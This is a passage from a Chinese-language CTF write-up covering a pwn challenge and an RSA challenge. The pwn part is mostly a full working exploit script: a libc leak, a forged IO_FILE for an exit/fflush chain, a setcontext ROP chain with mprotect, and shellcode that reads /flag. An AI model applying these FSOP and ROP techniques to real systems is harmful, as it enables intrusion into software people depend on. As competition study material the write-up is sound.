虽然子程序的三个io都被关闭了，但是用的不是标准close函数而是fclose，也就是说它们只丢失了各自的fd，io链还是可以正常利用的。同时注意到程序中有可控的exit触发，于是通过把vm_sp_ptr改到stderr*附近泄露libc，然后覆写其指向可控地址，最后打exit->fflush触发链。

利用libc + 0x017A915处的magic_gadget配合setcontext打rop，最后写shellcode orw即可。

1
.text:000000000017A915 018 48 8B 57 08   mov     rdx, qword ptr [rdi+8]
2
.text:000000000017A919 018 48 89 45      mov     qword ptr [rbp-8], rax
3
.text:000000000017A91D 018 FF 52 20      call    qword ptr [rdx+0x20]

当然这里不能用write，需要给主程序发sigqueue实现输出。

1
from pwnfunc import *
2

3
script = """
4
set follow-fork-mode child
5
set detach-on-fork off
6
catch exec
7
"""
8

9
class IO_FILE_plus_struct:
10
    def __init__(self):
11
        self.fields = {
12
            0x0:   0,    # _flags
13
            0x8:   0,    # _IO_read_ptr
14
            0x10:  0,    # _IO_read_end
15
            0x18:  0,    # _IO_read_base
16
            0x20:  0,    # _IO_write_base
17
            0x28:  0,    # _IO_write_ptr
18
            0x30:  0,    # _IO_write_end
19
            0x38:  0,    # _IO_buf_base
20
            0x40:  0,    # _IO_buf_end
21
            0x48:  0,    # _IO_save_base
22
            0x50:  0,    # _IO_backup_base
23
            0x58:  0,    # _IO_save_end
24
            0x60:  0,    # _markers
25
            0x68:  0,    # _chain
26
            0x70:  0,    # _fileno & _flags2 (4+4 bytes)
27
            0x78:  0,    # _old_offset
28
            0x80:  0,    # _cur_column, _vtable_offset, _shortbuf
29
            0x88:  0,    # _lock
30
            0x90:  0,    # _offset
31
            0x98:  0,    # _codecvt
32
            0xa0:  0,    # _wide_data
33
            0xa8:  0,    # _freeres_list
34
            0xb0:  0,    # _freeres_buf
35
            0xb8:  0,    # __pad5
36
            0xc0:  0,    # _mode & _unused2
37
            0xd8:  0     # vtable
38
        }
39

40
    def __setattr__(self, name, value):
41
        mapping = {
42
            '_flags': 0x0,
43
            '_IO_read_ptr': 0x8,
44
            '_IO_read_end': 0x10,
45
            '_IO_read_base': 0x18,
46
            '_IO_write_base': 0x20,
47
            '_IO_write_ptr': 0x28,
48
            '_IO_write_end': 0x30,
49
            '_IO_buf_base': 0x38,
50
            '_IO_buf_end': 0x40,
51
            '_IO_save_base': 0x48,
52
            '_IO_backup_base': 0x50,
53
            '_IO_save_end': 0x58,
54
            '_markers': 0x60,
55
            '_chain': 0x68,
56
            '_fileno': 0x70,
57
            '_lock': 0x88,
58
            '_offset': 0x90,
59
            '_codecvt': 0x98,
60
            '_wide_data': 0xa0,
61
            '_mode': 0xc0,
62
            'vtable': 0xd8
63
        }
64
        if name in mapping:
65
            self.fields[mapping[name]] = value
66
        else:
67
            super().__setattr__(name, value)
68

69
    def __bytes__(self):
70
        return flat(self.fields, word_size=64)
71

72
io, elf, libc = pwn_initial(gdb_script = script)
73
set_context(term="tmux_split", arch="amd64")
74
"""amd64 i386 arm arm64 riscv64"""
75

76
def menu():
77
    ru(b'> \n')
78

79
def op(opcode=0, dstReg=0, srcReg=0, off=0, val=0):
80
    # Opcode
81
    # 52-55: dstReg
82
    # 48-51: srcReg
83
    # 32-47: off
84
    # 0-31 : val
85
    param_pack = (dstReg << 52) | (srcReg << 48) | ((off & 0xFFFF) << 32) | (val & 0xFFFFFFFF)
86

87
    sl(str(1))
88
    ru(b'$ \n')
89

90
    sl(str(opcode))
91
    sl(str(param_pack))
92

93
def trig_exec():
94
    sl(b'2')
95

96
def dpush(val, reg=0):
97
    op(8, reg, reg, 0, val & 0xFFFFFFFF) # low
98
    op(8, reg, reg, 0, val >> 32) # high
99

100
op(0, 1, 1, 0xFFFF, 0x008c8c00)
101
trig_exec()
102

103
op()
104
op(0x10, 1, 1, 0x0000, 0x00000000)
105
op(0x40, 0, 0, 0x0000, 0x00000000)
106
trig_exec()
107
ru(b'Execute result: 0\n')
108
ru(b'Execute result: ')
109
pbase = int(ru(b'\n')) - 0x4060
110
success(hex(pbase))
111
op(0, 1, 1, 0xFFFF, 0x008b8b00)
112
trig_exec()
113
stderr = pbase + 0x4040 + 4
114
stderr_low = stderr & 0xFFFFFFFF
115
stderr_high = stderr >> 32
116
success(hex(stderr_low))
117
success(hex(stderr_high))
118
success(hex(stderr))
119
op(0x0, 0, 0, stderr_high, stderr_low)
120
trig_exec()
121
success("pop")
122
op(0xA, 2, 2, 0, 0)
123
op(0xA, 3, 3, 0, 0)
124
trig_exec()
125
ru(b'Execute result: 129\n')
126
ru(b'Execute result: ')
127
libc_high = int(ru(b'\n'))
128
ru(b'Execute result: ')
129
libc_low = int(ru(b'\n'))
130
libc = (libc_high << 32 | libc_low) - 0x2124E0-0x22000
131
success(hex(libc_high))
132
success(hex(libc_low))
133
success(hex(libc))
134

135
fake_io = pbase+0x4050
136
op(8, 0, 0, 0, 0xDeadBeef)
137
magic_gadget = libc + 0x000000000017A915
138
_IO_stdfile_2_lock = libc + 0x235780
139
_IO_wfile_jumps = libc + 0x232228
140
setcontext = libc + 0x000000000004C0FD
141
dpush(fake_io)
142
dpush(0)
143

144
# io
145
fp = IO_FILE_plus_struct()
146
fp._IO_read_ptr = fake_io + 0x200
147
fp._IO_write_ptr = 0x1
148
fp._lock = _IO_stdfile_2_lock
149
fp.vtable = _IO_wfile_jumps
150
fp._wide_data = fake_io + 0xF0
151
fp = bytes(fp)
152

153
leave_ret = libc + 0x0000000000029b4c
154
prdi = libc+0x000000000011b87a
155
prsi = libc+0x000000000005c207
156
prdx = libc+0x0000000000048c92
157
ret = libc +0x0000000000028842
158
mprotect = libc + 0x0000000000133660
159
jmp_rdi = libc + 0x000000000011c8d5
160

161
groups_little = [
162
    int.from_bytes(fp[i:i+8], 'little')
163
    for i in range(0, len(fp), 8)
164
]
165

166
for i, val in enumerate(groups_little):
167
    print(f"组 {i:2d}: {val:016x}  (small-endian)")
168

169
for i, val in enumerate(groups_little):
170
    dpush(val)
171

172
dpush(0)
173
dpush(0)
174
# wide_data
175
for i in range(int(0xe0/8)):
176
    dpush(0)
177
dpush(pbase+0x41C0)
178
dpush(magic_gadget)
179
trig_exec()
180
for i in range(4):
181
    dpush(0)
182
for i in range(4):
183
    dpush(0)
184
dpush(setcontext)
185
for i in range(10):
186
    dpush(0)
187
dpush(fake_io + 0x300) # rbp
188
for i in range(4):
189
    dpush(0)
190
dpush(fake_io + 0x308) # rsp
191
dpush(leave_ret) # rcx prevent push
192
trig_exec()
193

194
for i in range(11):
195
    dpush(0)
196

197
# rop start
198
payload = [prdi, pbase + 0x4000, prsi, 0x4000, prdx, 7, mprotect, prdi, pbase+0x43A8, jmp_rdi]
199

200
for i in payload:
201
    dpush(i)
202
# rop end
203

204
shellcode = asm(
205
shellcraft.open('/flag') +
206
f"""
207
mov rdi, rax
208
mov rsi, {pbase + 0x5000}
209
mov rdx, 0x100
210
syscall
211

212
mov r13, rsi
213
mov r10, 20
214

215
loop:
216
test r10, r10
217
jz loop_end
218
mov rsi, r13
219
sub rsp, 128
220
mov rdi, rsp
221
xor rax, rax
222
mov rcx, 16
223
rep stosq
224

225
mov dword ptr [rsp], 35
226
mov dword ptr [rsp + 8], -1
227

228
mov rax, 39
229
syscall
230
mov dword ptr [rsp + 16], eax
231
mov rax, 102
232
syscall
233
mov dword ptr [rsp + 20], eax
234
mov r12, qword ptr [rsi]
235
mov qword ptr [rsp + 24], r12
236

237
mov rax, 129
238
mov r12, {pbase+0x4010-4}
239
mov edi, dword ptr [r12]
240
mov rsi, 35
241
mov rdx, rsp
242
syscall
243

244
add rsp, 128
245
add r13, 8
246
dec r10
247
jmp loop
248

249
loop_end:
250
ret
251
""")
252

253
pad_len = (8 - len(shellcode) % 8) % 8
254
shellcode += b'\x00' * pad_len
255

256
groups_little = [
257
    int.from_bytes(shellcode[i:i+8], 'little')
258
    for i in range(0, len(shellcode), 8)
259
]
260

261
for i, val in enumerate(groups_little):
262
    print(f"组 {i:2d}: {val:016x}  (small-endian)")
263

264
for i, val in enumerate(groups_little):
265
    dpush(val)
266

267
trig_exec()
268
success('end construction')
269

270
stdout = libc + 0x2125C0
271
stdin = libc + 0x2118E0
272
pid_addr = pbase + 0x4010
273

274
op(0, 1, 1, 0xFCB8 - len(shellcode) - 1, 0x008b8b00)
275
trig_exec()
276
op(0x0, 0, 0, pid_addr >> 32, pid_addr & 0xFFFFFFFF)
277
op(0xA, 4, 4, 0, 0)
278
trig_exec()
279
ru(b'Executing task...\n')
280
ru(b'Execute result: ')
281
ru(b'Execute result: ')
282
parent_pid = int(ru(b'\n'))
283
success('parent_pid: '+ hex(parent_pid))
284
success(hex(magic_gadget))
285
op(8, 0, 0, 0, parent_pid)
286
op(8, 0, 0, 0, 0) # pid
287

288
trig_exec()
289
ru(b'Executing task...')
290
ru(b'Execute result: ')
291
while True:
292
    ru(b'Execute result: ')
293
    hex_str = hex(int(ru(b'\n')))[2:]
294
    result = ''.join(chr(int(hex_str[i:i+2], 16)) for i in range(0, len(hex_str), 2))[::-1]
295
    success(result)
296
    if '}' in result:
297
        break
298
ia()

Crypto#

Myrsa#

task.py

1
import gmpy2
2
from Crypto.Util.number import isPrime, bytes_to_long
3
from sympy.ntheory import sqrt_mod
4
from sympy.ntheory.modular import crt
5
from secret import p, q, r, pp
6
import os
7

8

9
def oracle(x):
10
  root_p = sqrt_mod(x, p)
11
  root_q = sqrt_mod(x, q)
12
  root_r = sqrt_mod(x, r)
13
  if root_p is None or root_q is None or root_r is None:
14
    return "🤐"
15
  ans, _ = crt([p, q, r], [root_p, root_q, root_r])
16
  return int(ans)
17

18

19
assert p == pp**2 + 3 * pp + 3 and q == pp**2 + 5 * pp + 7
20
assert isPrime(p) and isPrime(q) and isPrime(r)
21

22
m = bytes_to_long(os.getenv("FLAG", "LilacCTF{fake_flag}").encode().strip())
23
n = p * q * r
24
e = 65537
25
c = pow(m, e, n)
26

27
print(f"{n = }")
28
print(f"{c = }")
29

30
while True:
31
  x = int(input("🧭 > "))
32
  _, is_psq = gmpy2.iroot(x, 2)
33
  assert not is_psq, "👿"
34
  assert 80 < x < 100
35
  print(oracle(x))

第一开始想偏了，害，没有接触过这个知识点

4p = 4pp^2 + 12pp + 12 = (2pp + 3)^2 + 3 = (2pp + 3 + \sqrt{-3})(2pp + 3 - \sqrt{-3}) \ q = p + 2pp + 3

这种形式的素数允许我们构造带复乘(Complex Multiplication, CM)结构的ECC，而我们知道带CM结构的ECC，

CM曲线，D=3 这个曲线方程是

y^2 = x^3 + b

且具有六次twist

并且这个题里面 $p=1 \mod 3$ ，所以六次twist对应了六条曲线，也就是6个不同的b。然后可以渠道g，进而找到我们所需阶数的曲线。

在这个题里面只有96有回显，把96回显的值记为P(4,..)，那么就有 $Q.x=k*p$ ，那么gcd就可以求出p了

exp.py

1
from sage.all import *
2
from Crypto.Util.number import long_to_bytes, inverse
3
# fmt: off
4
n =
5
c =
6
E = EllipticCurve(Zmod(n), [0, 32])
7
G = E(4, )
8
p = int(gcd((n*G)[0], n))
9
pp = var('pp')
10
p_eq = pp**2 + 3 * pp + 3 - p
11
print(solve(p_eq, pp))
12
"""[
13
pp == ,
14
pp == -
15
]
16
"""
17
pp =
18
q = pp**2 + 5 * pp + 7
19
r = n // (p * q)
20
m = pow(c, inverse(65537, (p - 1) * (q - 1) * (r - 1)), n)
21
print(long_to_bytes(m))

Noisy Forest#